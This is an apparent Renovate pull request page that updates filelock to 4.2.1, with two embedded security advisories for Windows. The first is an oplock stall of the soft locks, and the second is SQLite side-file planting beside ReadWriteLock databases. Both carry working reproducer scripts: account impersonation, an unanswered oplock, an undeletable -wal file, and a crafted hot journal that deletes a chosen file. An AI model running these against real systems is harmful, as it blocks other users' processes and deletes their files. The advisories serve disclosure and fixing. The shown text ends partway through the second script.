Skip to content

Update dependency filelock to v4 [SECURITY] - autoclosed - #262

Closed
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-filelock-vulnerability
Closed

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-filelock-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 24, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
filelock ==3.25.2 → ==4.2.1 age adoption passing confidence

filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break

CVE-2026-112907 / GHSA-567q-5qvw-pf92

More information

Details

On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).

AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions
  • Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
  • Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
  • Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
  • Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
  • What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O_RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel_check between attempts only. With AsyncSoftFileLock(run_in_executor=False) the event loop waits.
  • Stale break: break_lock_file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
  • Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.
Affected code

Scanned commit b831496b0273: the os.open in _read_lock_file (function), called from _try_break_stale_lock on every attempt that finds a marker, and from _unprobeable_holder, pid and is_lock_held_by_us. break_lock_file renames at L116 and unlinks at L118 and L122, by path. _poll_until_acquired and _check_give_up test the deadline, blocking and cancel_check only between attempts.

Introduced

e35c3af "feat(soft): detect and break stale locks" (#​476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #​476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#​548, 3.29.1) and the break moved into break_lock_file with d244c6d (#​551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.

A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #​835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).

oplock_vm.py

"""
Windows oplock checks beyond the lock-file open PR #​835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
  C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
    WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
    DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
    [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
    marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""

from __future__ import annotations

import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)

advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink

def impersonate() -> None:
    token = wintypes.HANDLE()
    if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
        raise ctypes.WinError(ctypes.get_last_error())
    if not advapi32.ImpersonateLoggedOnUser(token):
        raise ctypes.WinError(ctypes.get_last_error())

def request_level1(path: str) -> tuple[int, Overlapped] | None:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    if handle == INVALID_HANDLE:
        return None
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    if (
        not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
        and ctypes.get_last_error() == ERROR_IO_PENDING
    ):
        return handle, overlapped
    kernel32.CloseHandle(handle)
    kernel32.CloseHandle(overlapped.hEvent)
    return None

def drop(granted: tuple[int, Overlapped]) -> None:
    handle, overlapped = granted
    kernel32.CloseHandle(handle)
    kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
    kernel32.CloseHandle(overlapped.hEvent)

def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
    stop = threading.Event()
    granted_box: list[tuple[int, Overlapped]] = []

    def spinner() -> None:
        impersonate()
        while not stop.is_set():
            if (granted := request_level1(lock_path)) is not None:
                granted_box.append(granted)
                hold.wait()
                return

    releasing = threading.Event()
    release_durations: list[float] = []

    def owner() -> None:
        # thread_local locks release only on the acquiring thread, so acquire and release stay on this one
        for _ in range(cycles):
            lock = FileLock(lock_path, is_singleton=False)
            lock.acquire(timeout=5)
            started = time.monotonic()
            releasing.set()
            lock.release()
            releasing.clear()
            release_durations.append(time.monotonic() - started)
            if granted_box:
                return

    holder = threading.Thread(target=spinner, daemon=True)
    holder.start()
    owner_thread = threading.Thread(target=owner, daemon=True)
    owner_thread.start()
    owner_thread.join(60)
    stalled = owner_thread.is_alive() and releasing.is_set()
    stop.set()
    longest = max(release_durations, default=0.0) * 1000
    print(f"  {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
    if stalled:
        print("  release() still running after 60 s while the oplock holder has not answered the break")
        if granted_box:
            drop(granted_box[0])
        owner_thread.join(10)
        print(f"  release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
    return stalled

print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")

def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
    time.sleep(0.2)
    real_unlink(path, dir_fd=dir_fd)

os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd  # noqa: SLF001
os.close(holder_fd)  # the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []

def take_soft_oplock() -> None:
    impersonate()
    if (granted := request_level1(marker)) is not None:
        granted_soft.append(granted)
    impersonate_done.set()
    hold.wait()

threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f"  oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]

def contend() -> None:
    started = time.monotonic()
    try:
        SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
        outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
    except Timeout:
        outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
    except OSError as error:
        outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"

contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f"  contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
    drop(granted_soft[0])
    contender.join(10)
    print(f"  after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")

Recorded output of section [2]:

[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
  oplock granted: True
  contender: Timeout after 10.02 s
  after the holder closed: Timeout after 10.02 s

oplock_semantics_vm.py

"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""

from __future__ import annotations

import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes

base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}

def take(path: str, level: str) -> tuple[int, Overlapped]:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
    assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
    return handle, overlapped

def drop(granted: tuple[int, Overlapped]) -> None:
    kernel32.CloseHandle(granted[0])
    kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
    kernel32.CloseHandle(granted[1].hEvent)

def timed(label: str, operation) -> None:  # noqa: ANN001
    done = threading.Event()
    result = ["still running after 15 s"]

    def run() -> None:
        started = time.monotonic()
        try:
            operation()
            result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
        except OSError as error:
            result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
        done.set()

    threading.Thread(target=run, daemon=True).start()
    done.wait(15)
    print(f"  {label}: {result[0]}")
    return done

def open_read(path: str) -> None:
    os.close(os.open(path, os.O_RDONLY | os.O_BINARY))

def open_write(path: str) -> None:
    os.close(os.open(path, os.O_RDWR | os.O_BINARY))

def create_new(path: str) -> None:
    os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY))

for level in LEVELS:
    for label, operation, consumes in (
        ("os.open O_RDONLY", open_read, False),
        ("os.open O_RDWR", open_write, False),
        ("os.open O_CREAT|O_EXCL on the existing file", create_new, False),
        ("os.utime by path", lambda p: os.utime(p, None), False),
        ("os.rename", lambda p: os.rename(p, p + ".moved"), True),
        ("os.unlink", os.unlink, True),
    ):
        path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock")
        with open(path, "w", encoding="utf-8") as handle:
            handle.write("1\nhost\n")
        granted = take(path, level)
        print(f"{level}, {label}")
        done = timed(label, lambda p=path, op=operation: op(p))
        drop(granted)
        done.wait(5)
        print(f"    after the holder closed: {'done' if done.is_set() else 'still running'}")

The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O_RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O_CREAT | O_EXCL create returned at once.

Failure sequence
sequenceDiagram
    participant A as other local account
    participant M as soft.lock marker, no handle open
    participant L as lock user: SoftFileLock(path).acquire(timeout=1)
    participant W as Windows (NTFS)
    A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
    A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
    L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
    L->>W: os.lstat(soft.lock) regular file
    rect rgb(255, 214, 214)
        L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
        Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
        W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
    end
    L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
    Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken
Loading
Evidence

Section [2] of oplock_vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is_singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.

Impact

Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel_check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run_in_executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.

Workarounds
  • Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows.
  • Run AsyncSoftFileLock with the default executor rather than run_in_executor=False, so that only a worker thread waits.
  • No timeout, blocking or cancel_check value bounds the wait.
Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).

  • 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them)
  • 2026-10-16 01:16 UTC: fix PR #​835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx
  • 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #​835
  • 2026-10-16 22:43 UTC: draft advisory created

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database

CVE-2026-112913 / GHSA-9vhv-jxww-xfm5

More information

Details

On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: <database>-journal, the rollback journal (pages saved to undo an interrupted write); <database>-wal, the write-ahead log (changes kept outside the main file); and <database>-shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone DELETE on it, which a file's creator may do. C:\Windows\Temp (the temporary directory of services, granting BUILTIN\Users create but not delete) and C:\Users\Public are such directories.

With a -wal in place, every read_lock() and write_lock() of the user running the lock (below: the lock user) raises sqlite3.OperationalError: disk I/O error at once, whatever timeout says, until that account removes its file; the lock user cannot. With a -journal beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L scores 3.3 (Low).

AV:L (local): the other account needs a logon on the same host. AC:L (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. PR:L (low privileges): an ordinary account that can create files in the directory is enough. UI:N (no user interaction). S:U (scope unchanged). C:N (no confidentiality impact): the other account learns nothing. I:N (no integrity impact in the scored variant): see the scoring note. A:L (partial availability impact): every acquire fails with an exception that Timeout handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.

Scoring note. The deletion variant reads CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L (3.6): I:L because the lock user's process deletes one file the journal names, AC:H because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every ReadWriteLock on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.

Scope and preconditions
  • Platform and classes: Windows only. ReadWriteLock and AsyncReadWriteLock, both of which connect through _connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.
  • Directory: one where another account can create files but cannot delete the lock user's. C:\Windows\Temp carries BUILTIN\Users:(CI)(S,WD,AD,X) (create file and create subdirectory, no delete child); C:\Users\Public and any directory with such an entry qualify. A directory only the lock user can write, such as %LOCALAPPDATA% or the per-user temporary directory, is not affected.
  • The other account creates <database>-wal, grants everyone modify and denies everyone DELETE on it. A file's creator may set both. The lock user can open and read the file but not delete it.
  • Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's <database>-journal grants the lock account modify rights. The journal's tail names a file the lock user can delete.
  • What the lock user sees: write_lock(timeout=1) raised sqlite3.OperationalError: disk I/O error with the undeletable -wal in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised sqlite3.OperationalError: unable to open database file.
  • The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for WindowsFileLock, in its symlink paragraph; the ReadWriteLock documentation names no directory requirement on Windows.
Affected code

Scanned commit b831496b0273: the Windows branch of _connect checks the database through a handle and then calls sqlite3.connect(database, ...) with the path. _open_lock_database and _raise_if_wal inspect that handle, not the side files. The first statement is PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; at L816. _do_acquire_inner at L763 turns only "database is locked" into Timeout; any other sqlite3.OperationalError leaves the acquire.

Introduced

cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#​399, 2026-02-12), first tag 3.20.4 (verified with git tag --contains), passed the lock path to sqlite3.connect on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #​834 at 1f9e415, whose Windows branch of _connect is the same code as at b831496b0273.

Mechanism

_connect on Windows opens the database with _open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while sqlite3.connect(database) opens the same name. The check covers the database, not the names beside it. On the first statement, PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for <database>-wal. A non-empty -wal beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies DELETE, so the pragma raises SQLITE_IOERR_DELETE, which reaches the caller as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so acquire_read(), acquire_write() and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.

The journal variant needs a database with content. Beside a non-empty database SQLite treats a <database>-journal with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's write_lock() therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise sqlite3.OperationalError: unable to open database file instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.

Reproduction

The review's reproducer, quoted as received except for the second account's password on line 2, replaced by <password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #​834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.

win_two_accounts.py

##### Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):
#####   winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"

##### which runs, as the administrator account on the VM:
#####   python3.14 -I win_two_accounts.py <worktree> <second-user> <password>

##### The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account
##### may create files but not delete another account's. This administrator account stands in for the other account that

##### plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the
##### file's creator may do.
import ctypes
import os
import pathlib
import sqlite3
import struct
import subprocess
import sys
from ctypes import wintypes

sys.path.insert(0, sys.argv[1] + "/src")
from filelock import ReadWriteLock

user, password = sys.argv[2], sys.argv[3]
base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp"
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
tag = f"rw834-{os.getpid()}"
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]
advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)]
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
    raise ctypes.WinError(ctypes.get_last_error())

def current_user() -> str:
    size = wintypes.DWORD(256)
    buffer = ctypes.create_unicode_buffer(size.value)
    advapi32.GetUserNameW(buffer, ctypes.byref(size))
    return buffer.value

def as_lock_user(action):
    if not advapi32.ImpersonateLoggedOnUser(token):
        raise ctypes.WinError(ctypes.get_last_error())
    try:
        return action()
    finally:
        advapi32.RevertToSelf()

def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None:
    path.write_bytes(data)
    subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True)
    if not deletable:
        subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)

def acquire(db: pathlib.Path) -> str:
    try:
        with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1):
            pass
    except Exception as error:
        return f"acquire failed: {type(error).__name__}: {error}"
    return "acquired"

def hot_journal(super_journal: pathlib.Path) -> bytes:
    name = os.fsencode(str(super_journal))
    return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")

print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))

db = base / f"{tag}-empty.db"
as_lock_user(lambda: db.touch())
plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False)
print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())

for deletable in (True, False):
    db = base / f"{tag}-tables-{deletable}.db"
    notes = base / f"{tag}-notes-{deletable}.txt"

    def prepare() -> None:
        with sqlite3.connect(db) as connection:
            connection.execute("CREATE TABLE application (value)")
        connection.close()
        notes.write_text("keep")

    as_lock_user(prepare)
    plant(pathlib.Path(f"{db}-journal"), hot_journal(notes), deletable=deletable)
    print(f"database with a table, {'deletable' if deletable else 'undeletable'} -journal naming the lock account's file:",
